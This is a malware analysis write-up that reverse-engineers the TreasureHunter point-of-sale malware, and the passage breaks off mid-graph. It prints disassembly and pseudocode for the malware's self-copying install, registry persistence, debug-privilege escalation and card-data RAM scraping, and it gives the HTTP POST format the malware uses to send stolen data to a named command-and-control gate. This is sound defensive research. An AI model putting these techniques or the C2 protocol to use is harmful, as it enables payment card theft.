TreasureHunter : A POS Malware Case Study
Introduction
TreasureHunter is a POS malware first observed in 2014 and which got some recognition through 2016. Most POS malwares are pretty simple and don't have the advanced capabilities we can find in banking malwares for example. Their main feature is RAM scraping, which consists of looking for PAN and other credit card credentials in running process' memory. Reversing them is rather quick and a good exercise if you're new to malware analysis.
POS malwares are not very well documented and detailed articles about POS malwares are rare, so I thought it would be interesting to reverse one and write a post about it. Furthermore, I decided to use radare2 to do so to bring a bit of originality. Plus, I've been enjoying using r2 a lot lately, it gets very efficient with a bit of practice.
I downloaded the sample here : http://www.kernelmode.info/forum/viewtopic.php?f=16&t=1756&sid=40a9207c6336357f87455967de77a3ea&start=230#p28535, kindly posted by Benkow.
Hashes :
$ rahash2 -a md5,sha256,sha1 treasurehunter.bin
treasurehunter.bin: 0x00000000-0x00013bff md5: bd50b22d1caee56b5d3fbd8e7816ab88
treasurehunter.bin: 0x00000000-0x00013bff sha1: 55f39ca3b68b92e898f9f86f3de1b03d3b88f5d9
treasurehunter.bin: 0x00000000-0x00013bff sha256: 3f54aaa6d2cb5c7ff3f6d41790b40de47e8f870fe96aaecec4342ab84f700def
VirusTotal Analysis, Malwr Analysis (When it's alive again).
Analysis
First look
Basic information about the binary :
[0x0040523b]> i
type EXEC (Executable file)
file treasurehunter.bin
fd 6
size 0x13c00
iorw false
blksz 0x0
mode -r--
block 0x100
format pe
havecode true
pic true
canary false
nx true
crypto false
va true
bintype pe
class PE32
arch x86
bits 32
machine i386
os windows
minopsz 1
maxopsz 16
pcalign 0
subsys Windows GUI
endian little
stripped true
static false
linenum false
lsyms false
relocs false
binsz 80896
compiled Sun Oct 19 09:14:39 2014
dbg_file C:\\Users\\Admin\\documents\\visual studio 2012\\Projects\\treasureHunter\\Release\\treasureHunter.pdb
hdr.csum 0x00000000
cmp.csum 0x000216eb
guid 82A5304F6FFB4D168B2CFA9D11F54A991
Some interesting strings :
vaddr=0x0040fea8 paddr=0x0000e4a8 ordinal=451 sz=24 len=23 section=.rdata type=ascii string=J8DfbsnQabc730OkDqaDmaC
vaddr=0x0040fec4 paddr=0x0000e4c4 ordinal=452 sz=28 len=13 section=.rdata type=wide string=Debug Message
vaddr=0x0040fee0 paddr=0x0000e4e0 ordinal=453 sz=9 len=8 section=.rdata type=ascii string=System33
vaddr=0x0040feec paddr=0x0000e4ec ordinal=454 sz=9 len=8 section=.rdata type=ascii string=SysWOW64
vaddr=0x0040fef8 paddr=0x0000e4f8 ordinal=455 sz=22 len=21 section=.rdata type=ascii string=\Windows\explorer.exe
vaddr=0x0040ff28 paddr=0x0000e528 ordinal=456 sz=147 len=146 section=.rdata type=ascii string=Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)
vaddr=0x0040ffc0 paddr=0x0000e5c0 ordinal=457 sz=151 len=150 section=.rdata type=ascii string=Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
vaddr=0x00410058 paddr=0x0000e658 ordinal=458 sz=13 len=12 section=.rdata type=ascii string=?report=true
vaddr=0x00410068 paddr=0x0000e668 ordinal=459 sz=14 len=13 section=.rdata type=ascii string=?request=true
vaddr=0x00410078 paddr=0x0000e678 ordinal=460 sz=10 len=4 section=.rdata type=wide string=POST
vaddr=0x00410088 paddr=0x0000e688 ordinal=461 sz=96 len=47 section=.rdata type=wide string=Content-Type: application/x-www-form-urlencoded
vaddr=0x0040fd58 paddr=0x0000e358 ordinal=439 sz=31 len=30 section=.rdata type=ascii string=x0000m.net/test/local/gate.php
vaddr=0x00410320 paddr=0x0000e920 ordinal=473 sz=92 len=45 section=.rdata type=wide string=SOFTWARE\Microsoft\Windows\CurrentVersion\Run
vaddr=0x00410980 paddr=0x0000ef80 ordinal=492 sz=238 len=118 section=.rdata type=wide string=TreasureHunter version 0.1 Alpha, created by Jolly Roger (jollyroger@prv.name) for BearsInc. Greets to Xylitol and co.
Imports :
[0x0040523b]> ii
[Imports]
ordinal=001 plt=0x0040c020 bind=NONE type=FUNC name=KERNEL32.dll_ReadProcessMemory
ordinal=002 plt=0x0040c024 bind=NONE type=FUNC name=KERNEL32.dll_LeaveCriticalSection
ordinal=003 plt=0x0040c028 bind=NONE type=FUNC name=KERNEL32.dll_CreateProcessA
ordinal=004 plt=0x0040c02c bind=NONE type=FUNC name=KERNEL32.dll_CreateFileW
ordinal=005 plt=0x0040c030 bind=NONE type=FUNC name=KERNEL32.dll_CreateDirectoryA
ordinal=006 plt=0x0040c034 bind=NONE type=FUNC name=KERNEL32.dll_CopyFileA
ordinal=007 plt=0x0040c038 bind=NONE type=FUNC name=KERNEL32.dll_EnterCriticalSection
ordinal=008 plt=0x0040c03c bind=NONE type=FUNC name=KERNEL32.dll_Process32FirstW
ordinal=009 plt=0x0040c040 bind=NONE type=FUNC name=KERNEL32.dll_DeviceIoControl
ordinal=010 plt=0x0040c044 bind=NONE type=FUNC name=KERNEL32.dll_Module32FirstW
ordinal=011 plt=0x0040c048 bind=NONE type=FUNC name=KERNEL32.dll_GetModuleFileNameA
ordinal=012 plt=0x0040c04c bind=NONE type=FUNC name=KERNEL32.dll_Sleep
ordinal=013 plt=0x0040c050 bind=NONE type=FUNC name=KERNEL32.dll_CreateMutexA
ordinal=014 plt=0x0040c054 bind=NONE type=FUNC name=KERNEL32.dll_CreateToolhelp32Snapshot
ordinal=015 plt=0x0040c058 bind=NONE type=FUNC name=KERNEL32.dll_ReleaseMutex
ordinal=016 plt=0x0040c05c bind=NONE type=FUNC name=KERNEL32.dll_CloseHandle
ordinal=017 plt=0x0040c060 bind=NONE type=FUNC name=KERNEL32.dll_GetCurrentProcessId
ordinal=018 plt=0x0040c064 bind=NONE type=FUNC name=KERNEL32.dll_DeleteFileA
ordinal=019 plt=0x0040c068 bind=NONE type=FUNC name=KERNEL32.dll_CreateThread
ordinal=020 plt=0x0040c06c bind=NONE type=FUNC name=KERNEL32.dll_SetFilePointerEx
ordinal=021 plt=0x0040c070 bind=NONE type=FUNC name=KERNEL32.dll_SetStdHandle
ordinal=022 plt=0x0040c074 bind=NONE type=FUNC name=KERNEL32.dll_GetConsoleMode
ordinal=023 plt=0x0040c078 bind=NONE type=FUNC name=KERNEL32.dll_OpenProcess
ordinal=024 plt=0x0040c07c bind=NONE type=FUNC name=KERNEL32.dll_InitializeCriticalSection
ordinal=025 plt=0x0040c080 bind=NONE type=FUNC name=KERNEL32.dll_VirtualQueryEx
ordinal=026 plt=0x0040c084 bind=NONE type=FUNC name=KERNEL32.dll_OutputDebugStringW
ordinal=027 plt=0x0040c088 bind=NONE type=FUNC name=KERNEL32.dll_WaitForSingleObject
ordinal=028 plt=0x0040c08c bind=NONE type=FUNC name=KERNEL32.dll_GetCurrentProcess
ordinal=029 plt=0x0040c090 bind=NONE type=FUNC name=KERNEL32.dll_Process32NextW
ordinal=030 plt=0x0040c094 bind=NONE type=FUNC name=KERNEL32.dll_ExitProcess
ordinal=031 plt=0x0040c098 bind=NONE type=FUNC name=KERNEL32.dll_GetConsoleCP
ordinal=032 plt=0x0040c09c bind=NONE type=FUNC name=KERNEL32.dll_FlushFileBuffers
ordinal=033 plt=0x0040c0a0 bind=NONE type=FUNC name=KERNEL32.dll_HeapSize
ordinal=034 plt=0x0040c0a4 bind=NONE type=FUNC name=KERNEL32.dll_RtlUnwind
ordinal=035 plt=0x0040c0a8 bind=NONE type=FUNC name=KERNEL32.dll_LoadLibraryW
ordinal=036 plt=0x0040c0ac bind=NONE type=FUNC name=KERNEL32.dll_LoadLibraryExW
ordinal=037 plt=0x0040c0b0 bind=NONE type=FUNC name=KERNEL32.dll_LCMapStringW
ordinal=038 plt=0x0040c0b4 bind=NONE type=FUNC name=KERNEL32.dll_GetLastError
ordinal=039 plt=0x0040c0b8 bind=NONE type=FUNC name=KERNEL32.dll_MultiByteToWideChar
ordinal=040 plt=0x0040c0bc bind=NONE type=FUNC name=KERNEL32.dll_HeapFree
ordinal=041 plt=0x0040c0c0 bind=NONE type=FUNC name=KERNEL32.dll_HeapAlloc
ordinal=042 plt=0x0040c0c4 bind=NONE type=FUNC name=KERNEL32.dll_WideCharToMultiByte
ordinal=043 plt=0x0040c0c8 bind=NONE type=FUNC name=KERNEL32.dll_HeapReAlloc
ordinal=044 plt=0x0040c0cc bind=NONE type=FUNC name=KERNEL32.dll_GetCommandLineA
ordinal=045 plt=0x0040c0d0 bind=NONE type=FUNC name=KERNEL32.dll_IsDebuggerPresent
ordinal=046 plt=0x0040c0d4 bind=NONE type=FUNC name=KERNEL32.dll_IsProcessorFeaturePresent
ordinal=047 plt=0x0040c0d8 bind=NONE type=FUNC name=KERNEL32.dll_EncodePointer
ordinal=048 plt=0x0040c0dc bind=NONE type=FUNC name=KERNEL32.dll_DecodePointer
ordinal=049 plt=0x0040c0e0 bind=NONE type=FUNC name=KERNEL32.dll_InterlockedIncrement
ordinal=050 plt=0x0040c0e4 bind=NONE type=FUNC name=KERNEL32.dll_InterlockedDecrement
ordinal=051 plt=0x0040c0e8 bind=NONE type=FUNC name=KERNEL32.dll_IsValidCodePage
ordinal=052 plt=0x0040c0ec bind=NONE type=FUNC name=KERNEL32.dll_GetACP
ordinal=053 plt=0x0040c0f0 bind=NONE type=FUNC name=KERNEL32.dll_GetOEMCP
ordinal=054 plt=0x0040c0f4 bind=NONE type=FUNC name=KERNEL32.dll_GetCPInfo
ordinal=055 plt=0x0040c0f8 bind=NONE type=FUNC name=KERNEL32.dll_SetLastError
ordinal=056 plt=0x0040c0fc bind=NONE type=FUNC name=KERNEL32.dll_GetCurrentThreadId
ordinal=057 plt=0x0040c100 bind=NONE type=FUNC name=KERNEL32.dll_GetProcessHeap
ordinal=058 plt=0x0040c104 bind=NONE type=FUNC name=KERNEL32.dll_GetModuleHandleExW
ordinal=059 plt=0x0040c108 bind=NONE type=FUNC name=KERNEL32.dll_GetProcAddress
ordinal=060 plt=0x0040c10c bind=NONE type=FUNC name=KERNEL32.dll_GetStdHandle
ordinal=061 plt=0x0040c110 bind=NONE type=FUNC name=KERNEL32.dll_WriteFile
ordinal=062 plt=0x0040c114 bind=NONE type=FUNC name=KERNEL32.dll_GetModuleFileNameW
ordinal=063 plt=0x0040c118 bind=NONE type=FUNC name=KERNEL32.dll_GetFileType
ordinal=064 plt=0x0040c11c bind=NONE type=FUNC name=KERNEL32.dll_InitializeCriticalSectionAndSpinCount
ordinal=065 plt=0x0040c120 bind=NONE type=FUNC name=KERNEL32.dll_DeleteCriticalSection
ordinal=066 plt=0x0040c124 bind=NONE type=FUNC name=KERNEL32.dll_GetStartupInfoW
ordinal=067 plt=0x0040c128 bind=NONE type=FUNC name=KERNEL32.dll_QueryPerformanceCounter
ordinal=068 plt=0x0040c12c bind=NONE type=FUNC name=KERNEL32.dll_GetSystemTimeAsFileTime
ordinal=069 plt=0x0040c130 bind=NONE type=FUNC name=KERNEL32.dll_GetEnvironmentStringsW
ordinal=070 plt=0x0040c134 bind=NONE type=FUNC name=KERNEL32.dll_FreeEnvironmentStringsW
ordinal=071 plt=0x0040c138 bind=NONE type=FUNC name=KERNEL32.dll_UnhandledExceptionFilter
ordinal=072 plt=0x0040c13c bind=NONE type=FUNC name=KERNEL32.dll_SetUnhandledExceptionFilter
ordinal=073 plt=0x0040c140 bind=NONE type=FUNC name=KERNEL32.dll_TerminateProcess
ordinal=074 plt=0x0040c144 bind=NONE type=FUNC name=KERNEL32.dll_TlsAlloc
ordinal=075 plt=0x0040c148 bind=NONE type=FUNC name=KERNEL32.dll_TlsGetValue
ordinal=076 plt=0x0040c14c bind=NONE type=FUNC name=KERNEL32.dll_TlsSetValue
ordinal=077 plt=0x0040c150 bind=NONE type=FUNC name=KERNEL32.dll_TlsFree
ordinal=078 plt=0x0040c154 bind=NONE type=FUNC name=KERNEL32.dll_GetModuleHandleW
ordinal=079 plt=0x0040c158 bind=NONE type=FUNC name=KERNEL32.dll_GetStringTypeW
ordinal=080 plt=0x0040c15c bind=NONE type=FUNC name=KERNEL32.dll_WriteConsoleW
ordinal=001 plt=0x0040c16c bind=NONE type=FUNC name=USER32.dll_MessageBoxA
ordinal=002 plt=0x0040c170 bind=NONE type=FUNC name=USER32.dll_MessageBoxW
ordinal=001 plt=0x0040c000 bind=NONE type=FUNC name=ADVAPI32.dll_AdjustTokenPrivileges
ordinal=002 plt=0x0040c004 bind=NONE type=FUNC name=ADVAPI32.dll_RegOpenKeyExW
ordinal=003 plt=0x0040c008 bind=NONE type=FUNC name=ADVAPI32.dll_LookupPrivilegeValueW
ordinal=004 plt=0x0040c00c bind=NONE type=FUNC name=ADVAPI32.dll_RegQueryValueExW
ordinal=005 plt=0x0040c010 bind=NONE type=FUNC name=ADVAPI32.dll_RegSetValueExA
ordinal=006 plt=0x0040c014 bind=NONE type=FUNC name=ADVAPI32.dll_OpenProcessToken
ordinal=007 plt=0x0040c018 bind=NONE type=FUNC name=ADVAPI32.dll_RegCloseKey
ordinal=001 plt=0x0040c164 bind=NONE type=FUNC name=SHELL32.dll_SHGetFolderPathA
ordinal=001 plt=0x0040c178 bind=NONE type=FUNC name=WINHTTP.dll_WinHttpCloseHandle
ordinal=002 plt=0x0040c17c bind=NONE type=FUNC name=WINHTTP.dll_WinHttpQueryDataAvailable
ordinal=003 plt=0x0040c180 bind=NONE type=FUNC name=WINHTTP.dll_WinHttpSendRequest
ordinal=004 plt=0x0040c184 bind=NONE type=FUNC name=WINHTTP.dll_WinHttpReceiveResponse
ordinal=005 plt=0x0040c188 bind=NONE type=FUNC name=WINHTTP.dll_WinHttpOpen
ordinal=006 plt=0x0040c18c bind=NONE type=FUNC name=WINHTTP.dll_WinHttpOpenRequest
ordinal=007 plt=0x0040c190 bind=NONE type=FUNC name=WINHTTP.dll_WinHttpReadData
ordinal=008 plt=0x0040c194 bind=NONE type=FUNC name=WINHTTP.dll_WinHttpAddRequestHeaders
ordinal=009 plt=0x0040c198 bind=NONE type=FUNC name=WINHTTP.dll_WinHttpConnect
99 imports
A ton of debug messages are displayed in MessageBox() if a particular DWORD @ 0x00414EDC is set to 1. This confirms that TreasureHunter was still under development. What's curious is that the author copied the same lines of code everywhere he wanted to display a debug message. Such an inefficient way to debug your binary.
Installation
When executed with no parameter, the malware copies itself to %APPDATA%\{StringDerivatedFromProductID}\jucheck.exe, encrypts its path with a custom algorithm and launches this new process with that encrypted path as a parameter. This parameter is then converted into its hex value and decrypted by the fresh copy of the malware which can now deletes its old self. Not sure why the path is encrypted, but whatever.
| 0x0040417c 8985ecfdffff mov dword [ebp - local_214h], eax
| 0x00404182 8d85f4fdffff lea eax, [ebp - local_20ch]
| 0x00404188 50 push eax
| 0x00404189 6a00 push 0
| 0x0040418b 6a00 push 0
| 0x0040418d 6a1a push 0x1a ; CSIDL_APPDATA
| 0x0040418f 6a00 push 0
| 0x00404191 ff1564c14000 call dword [sym.imp.SHELL32.dll_SHGetFolderPathA] ; "Z.." @ 0x40c164
[...]
| `------> 0x0040431a 6a00 push 0
| ||| 0x0040431c ffb5e8fdffff push dword [ebp - local_218h] ; DerivatedFromProductId
| ||| 0x00404322 ff1530c04000 call dword [sym.imp.KERNEL32.dll_CreateDirectoryA] ; "z.." @ 0x40c030
| `-----> 0x0040434b 6a01 push 1 ; "Z."
| |||| 0x0040434d 53 push ebx ; New filename ("jucheck.exe")
| |||| 0x0040434e 8d85f8feffff lea eax, [ebp - local_108h]
| |||| 0x00404354 50 push eax ; Path to this executable
| |||| 0x00404355 ff1534c04000 call dword [sym.imp.KERNEL32.dll_CopyFileA] ; sym.imp.KERNEL32.dll_CopyFileA
[...]
| |||| 0x00404481 e84afbffff call reg_startup ; Writes [SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\jucheck] = Path to jucheck.exe
[...]
| |||| 0x004044ed 6a00 push 0
| |||| 0x004044ef 6a20 push 0x20 ; CREATE_NEW_PROCESS_GROUP
| |||| 0x004044f1 6a00 push 0
| |||| 0x004044f3 6a00 push 0
| |||| 0x004044f5 6a00 push 0
| |||| 0x004044f7 50 push eax ; Path to new executable + Encrypted path to this one
| |||| 0x004044f8 53 push ebx ; Path to new executable
| |||| 0x004044f9 ff1528c04000 call dword [sym.imp.KERNEL32.dll_CreateProcessA] ; "Z.." @ 0x40c028
The encrypted parameter is derivated from the hardcoded value J8DfbsnQabc730OkDqaDmaC and the original malware path. Here is what I got :
001DFB38 005A6930 "C:\\Users\\arnaud\\AppData\\Roaming\\a18948d649742114cb84de349fe6f1d0\\jucheck.exe 014b789e32bcf2c0bddeb35bd5880193de8e5405ae98d55ee55f9efea91453a8"
The parameter is decrypted by the malware in the function @ 0x004023F0. IDA produces the corresponding pseudocode below :
_BYTE *__usercall sub_4023F0@<eax>(int a1@<edx>, int a2@<ecx>, int a3, _BYTE *buffer)
{
int v4; // eax@1
int v5; // esi@1
int v6; // edi@1
_BYTE *buffer_out; // ebx@2
int v8; // ecx@3
bool v9; // zf@3
_BYTE *result; // eax@4
int v11; // [sp+8h] [bp-Ch]@2
int v12; // [sp+10h] [bp-4h]@1
v4 = a2;
LOBYTE(v5) = 0;
v6 = 0;
v12 = a2;
if ( a3 <= 0 )
{
result = buffer;
*buffer = 0;
}
else
{
buffer_out = buffer;
v11 = a3;
do
{
v6 = (v6 + 1) % 256;
v8 = *(_DWORD *)(v4 + 4 * v6);
v5 = (unsigned __int8)(v8 + v5);
++buffer_out;
*(_DWORD *)(v12 + 4 * v6) = *(_DWORD *)(v4 + 4 * v5);
*(_DWORD *)(v12 + 4 * v5) = v8;
v9 = a3-- == 1;
*(buffer_out - 1) = buffer_out[a1 - (_DWORD)buffer - 1] ^ *(_BYTE *)(v12
+ 4
* (unsigned __int8)(v8
+ *(_DWORD *)(v12 + 4 * v6)));
v4 = v12;
}
while ( !v9 );
result = buffer;
buffer[v11] = 0;
}
return result;
}
TreasureHunter tries to get Debug privileges before it starts its RAM scraping process, as shown by the Assembly code below :
| 0x00404730 8d442410 lea eax, [esp + local_10h] ; 0x10
| 0x00404734 50 push eax
| 0x00404735 6a28 push 0x28 ; '(' ; '('
| 0x00404737 ff158cc04000 call dword [sym.imp.KERNEL32.dll_GetCurrentProcess] ; sym.imp.KERNEL32.dll_GetCurrentProcess
| 0x0040473d 50 push eax
| 0x0040473e ff1514c04000 call dword [sym.imp.ADVAPI32.dll_OpenProcessToken] ; sym.imp.ADVAPI32.dll_OpenProcessToken
| 0x00404744 8d442414 lea eax, [esp + local_14h] ; 0x14
| 0x00404748 50 push eax
| 0x00404749 68fc014100 push str.SeDebugPrivilege ; str.SeDebugPrivilege ; "SeDebugPrivilege" @ 0x4101fc
| 0x0040474e 6a00 push 0
| 0x00404750 ff1508c04000 call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW] ; sym.imp.ADVAPI32.dll_LookupPrivilegeValueW
| 0x00404756 8b442414 mov eax, dword [esp + local_14h] ; [0x14:4]=0
| 0x0040475a 6a00 push 0
| 0x0040475c 89442424 mov dword [esp + local_24h], eax
| 0x00404760 8b44241c mov eax, dword [esp + local_1ch] ; [0x1c:4]=0
| 0x00404764 6a00 push 0
| 0x00404766 6a10 push 0x10
| 0x00404768 89442430 mov dword [esp + local_30h], eax
| 0x0040476c 8d442428 lea eax, [esp + local_28h] ; 0x28 ; '('
| 0x00404770 50 push eax
| 0x00404771 6a00 push 0
| 0x00404773 ff742424 push dword [esp + local_24h]
| 0x00404777 c74424340100. mov dword [esp + local_34h], 1
| 0x0040477f c74424400200. mov dword [esp + local_40h], 2
| 0x00404787 ff1500c04000 call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges] ; "&.." @ 0x40c000
Then, the malware achieves persistency by writing a new startup key in registry. See "Persistency" part for more details about the reg_startup routine @ 0x0x403FD0.
Configuration
The configuration is pretty simple and hardcoded in global variables :
| 0x00401618 b9d8fd4000 mov ecx, str.600000 ; "600000" @ 0x40fdd8
| 0x0040161d e83efcffff call to_int
| 0x00401622 b9f8fd4000 mov ecx, 0x40fdf8 ; "180000"
| 0x00401627 a3944e4100 mov dword [0x414e94], eax ; [0x414e94:4]=0
| 0x0040162c e82ffcffff call to_int
| 0x00401631 a39c4e4100 mov dword [0x414e9c], eax ; [0x414e9c:4]=0
| 0x00401636 33c0 xor eax, eax
| 0x00401638 803d18fe4000. cmp byte [str.1SE_CLINGFISH_MODE_PLACEHOLDER], 0x31 ; [0x31:1]=0 ; '1'
| 0x0040163f b938fe4000 mov ecx, str.180000 ; "180000" @ 0x40fe38
| 0x00401644 0f94c0 sete al
| 0x00401647 a3b04e4100 mov dword [0x414eb0], eax ; [0x414eb0:4]=0
| 0x0040164c e80ffcffff call to_int
| 0x00401651 b95cfe4000 mov ecx, str.6000000 ; "6000000" @ 0x40fe5c
| 0x00401656 a3a44e4100 mov dword [0x414ea4], eax ; [0x414ea4:4]=0
| 0x0040165b e800fcffff call to_int
| 0x00401660 b98cfe4000 mov ecx, 0x40fe8c ; "50"
| 0x00401665 a3984e4100 mov dword [0x414e98], eax ; [0x414e98:4]=0
| 0x0040166a e8f1fbffff call to_int
| 0x0040166f 5f pop edi
| 0x00401670 5e pop esi
| 0x00401671 a3ac4e4100 mov dword [0x414eac], eax ; [0x414eac:4]=0
| 0x00401676 c705844e4100. mov dword [0x414e84], str.J8DfbsnQabc730OkDqaDmaC ; [0x414e84:4]=0
These parameters are mostly waiting time values and the campaign id J8DfbsnQabc730OkDqaDmaC
.
Persistency
TreasureHunter writes a new key in the startup registry to stay persistent on an infected system. The reg_startup routine is located @ 0x403FD0 :
.-------------------------------------------------------------------------------------------------------------.
| [0x403fd0] ;[c] |
| (fcn) sub.ADVAPI32.dll_RegOpenKeyExW_fd0 332 |
| sub.ADVAPI32.dll_RegOpenKeyExW_fd0 (); |
| ; var int local_4h @ ebp-0x4 |
| ; CALL XREF from 0x00404481 (sub.KERNEL32.dll_WaitForSingleObject_120) |
| push ebp |
| mov ebp, esp |
| push ecx |
| push ebx |
| push esi |
| lea eax, [ebp - local_4h] |
| push eax |
| push 0xf003f |
| push 0 |
| ; "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" @ 0x410320 |
| push str.SOFTWARE_Microsoft_Windows_CurrentVersion_Run ; str.SOFTWARE_Microsoft_Windows_CurrentVersion_Run |
| push 0x80000002 |
| mov ebx, ecx |
| ; sym.imp.ADVAPI32.dll_RegOpenKeyExW |
| call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW] ;[a] |
| ; [0x40c170:4]=0x1139c reloc.USER32.dll_MessageBoxW_156 |
| ; LEA sym.imp.USER32.dll_MessageBoxW |
| ; sym.imp.USER32.dll_MessageBoxW |
| mov esi, dword [sym.imp.USER32.dll_MessageBoxW] |
| test eax, eax |
| je 0x404096 ;[b] |
`-------------------------------------------------------------------------------------------------------------'
[Some checks...]
.--------------------------------------------------------.
| 0x4040a7 ;[s] |
| sub ecx, edx |
| ; 0x2 |
| lea eax, [ecx*2 + 2] |
| push eax |
| push ebx |
| push 1 |
| push 0 |
| ; "jucheck" @ 0x4104a4 |
| push str.jucheck ; str.jucheck |
| push dword [ebp - local_4h] ; Path to exe |
| ; sym.imp.ADVAPI32.dll_RegSetValueExA |
| call dword [sym.imp.ADVAPI32.dll_RegSetValueExA] ;[q] |
| test eax, eax |
| je 0x4040f2 ;[r] |
`--------------------------------------------------------'
RAM Scraping : Looking for Credit Card Credentials
TreasureHunter doesn't have any hooking capabilities, it relies entirely on RAM scraping to try and steal credit card PAN. TreasureHunter will list all running process the usual way (CreateToolhelp32Snapshot(), Process32FirstW(), Process32NextW()) and reads their memory with ReadProcessMemory(), looking for strings that matches its track1 and track2 parser. You can find information about track1 and track2 format and service codes on this Wikipedia page : https://en.wikipedia.org/wiki/Magnetic_stripe_card#Financial_cards, it helps understand the TreasureHunter parser.
For each process where the previous operations succeeded, the malware will start monitoring its memory using the same RAM scraping routine looping in a thread every 180 seconds (value from config). I guess that's what the author calls "Clingfish mode".
DWORD __stdcall thread_clingfish(LPVOID lpThreadParameter)
{
void *v1; // esi@1
HANDLE v2; // edi@2
v1 = malloc(0x20Au);
if ( !v1 )
{
if ( bDebug == 1 )
MessageBoxW(0, L"cannot allocate more space!", L"Debug Message", 0);
ExitProcess(0);
}
v2 = OpenProcess(0x410u, 0, (DWORD)lpThreadParameter);
if ( v2 && sub_403B10((DWORD)lpThreadParameter, (int)v1) )
{
if ( bDebug == 1 )
MessageBoxW(0, L"Clingfish mode activated!", L"Debug Message", 0);
while ( 1 )
{
search_process_mem(v2, (int)v1, lpThreadParameter);
Sleep(dw180000);
}
}
free(v1);
CloseHandle(v2);
return 0;
}
I identified the main functions of this thread responsible of looking for PANs, validating track1 / track2 format and checking Luhn algorithm and service codes :
- 0x004038A0 : search_process_mem
- 0x004033A0 : check_pan
- 0x00403280 : parse_track1
- 0x00403320 : parse_track2
- 0x004031D0 : check_pattern
- 0x00403040 : check_luhn
- 0x00403140 : is_format_b
- 0x004010C0 : check_service_codes
You can find a r2 script to label the main functions of the malware in the last part of this article.
I won't detail the parsers, they strictly do what the wikipedia page says. Note that a process is ignored if its name contains the following strings :
[0x00413000]> pd 3
; DATA XREF from 0x00403a9c (is_blacklisted)
; DATA XREF from 0x00403aa1 (is_blacklisted)
0x00413000 .dword 0x0040fee0 ; str.System33
0x00413004 .dword 0x0040feec ; str.SysWOW64
0x00413008 .dword 0x0040fef8 ; str._Windows_explorer.exe
[0x00413000]> px 48 @ 0x0040fee0
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x0040fee0 5379 7374 656d 3333 0000 0000 5379 7357 System33....SysW
0x0040fef0 4f57 3634 0000 0000 5c57 696e 646f 7773 OW64....\Windows
0x0040ff00 5c65 7870 6c6f 7265 722e 6578 6500 0000 \explorer.exe...
Why System33 ? No idea.
Furthermore, TreasureHunter only picks PANs that have the following service codes (see check_service_codes routine @ 0x004010C0) :
[0x004010c0]> pf zzzzzz @ 0x0040FF10
0x0040ff10 = 101
0x0040ff14 = 201
0x0040ff18 = 121
0x0040ff1c = 231
0x0040ff20 = 221
0x0040ff24 = 110
It increases a DWORD @ 0x00413D98 when a valid track1 / track2 PAN is found in a process, and sets it back to 0 after PANs are sent to the gate.
You can easily trigger those types of malwares by compiling and executing the following C++ code (taken from http://www.kernelmode.info/forum/viewtopic.php?f=16&t=1756&start=50#p18059) :
#include <iostream>
#include <conio.h>
#include <windows.h>
using namespace std;
char track1[100] = "%B4560710014901111^TEST JIM/BOGUS JOS^1107101169940000000710717906968?";
char track2[100] = "4744870016311111=14091010000000000072";
int main(){
cout << track1 << endl;
cout << track2 << endl;
getch();
return 0;
}
CnC & Data exfiltration
TreasureHunter uses HTTP POST requests to contact and send credentials collected to its CnC. The gate is harcoded in the binary and the domain is still online and working.
| 0x004014af bb58fd4000 mov ebx, str.x0000m.net_test_local_gate.php ; "x0000m.net/test/local/gate.php" @ 0x40fd58
The index page of the website has the following title : "Mosad - Build by Redo". We get a 404 if we try to display the gate.php page in our browser, but it still responds to proper malware requests.
First, the malware tries to contact its harcoded gate (x0000m.net) with the following request :
POST /test/local/gate.php?request=true HTTP/1.1
Content-Type: application/x-www-form-urlencoded
[...]
request=1a527a9738bdf2&use=J8DfbsnQabc730OkDqaDmaC&id=a18948d649742114cb84de349fe6f1d0
1a527a9738bdf2
is the encrypted value of "GET_KEYS", J8DfbsnQabc730OkDqaDmaC is an hardcoded value, probably a campaign identifier, and a18948d649742114cb84de349fe6f1d0 is the product id. associated with the infected machine.
The associated function starts @ 0x00401440 :
.-----------------------------------------------------------.
| 0x401867 ;[g] |
| push 0 |
| push 0 |
| push 0 |
| push 0 |
| push ecx |
| ; "POST" @ 0x410078 |
| push str.POST ; str.POST |
| push edi |
| sub esi, edx |
| ; sym.imp.WINHTTP.dll_WinHttpOpenRequest |
| call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest] ;[d] |
| push dword [ebp - local_4h] |
| mov edi, eax |
| call sub.KERNEL32.dll_HeapFree_bdf ;[e] |
| add esp, 4 |
| test edi, edi |
| jne 0x401897 ;[f] |
`-----------------------------------------------------------'
t f
.---------------------------------------------------------' '-----------------------------------------------------.
| |
| |
.-----------------------------------------------------------------------------------------------------------------. |
| 0x401897 ;[f] | |
| push 0x20000000 | |
| ; '/' | |
| ; '/' | |
| push 0x2f | |
| ; "Content-Type: application/x-www-form-urlencoded" @ 0x410088 | |
| push str.Content_Type:_application_x_www_form_urlencoded ; str.Content_Type:_application_x_www_form_urlencoded | |
| push edi | |
| ; "$.." @ 0x40c194 | |
| call dword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders] ;[i] | |
| test eax, eax | |
| je 0x40188f ;[h] | |
`-----------------------------------------------------------------------------------------------------------------' |
f t |
'--------------------------.------------------------------------------------------------------------------. |
| | |
| | |
.-----------------------------------------------------------. | |
| 0x4018ae ;[k] | | |
| push 0 | | |
| push esi | | |
| push esi | | |
| push dword [ebp + arg_8h] | | |
| push 0 | | |
| push 0 | | |
| push edi | | |
| ; sym.imp.WINHTTP.dll_WinHttpSendRequest | | |
| call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest] ;[j] | | |
| test eax, eax | | |
| je 0x40188f ;[h] | | |
`-----------------------------------------------------------' | |
f t | |
.-' '----------------------------------------------------------------------. | |
| | | |
| | | |
.---------------------------------------------------------------. | | |
| 0x4018c4 ;[m] | | | |
| push 0 | | | |
| push edi | | | |
| ; UINT uExitCode | | | |
| ; "z.." @ 0x40c184 | | | |
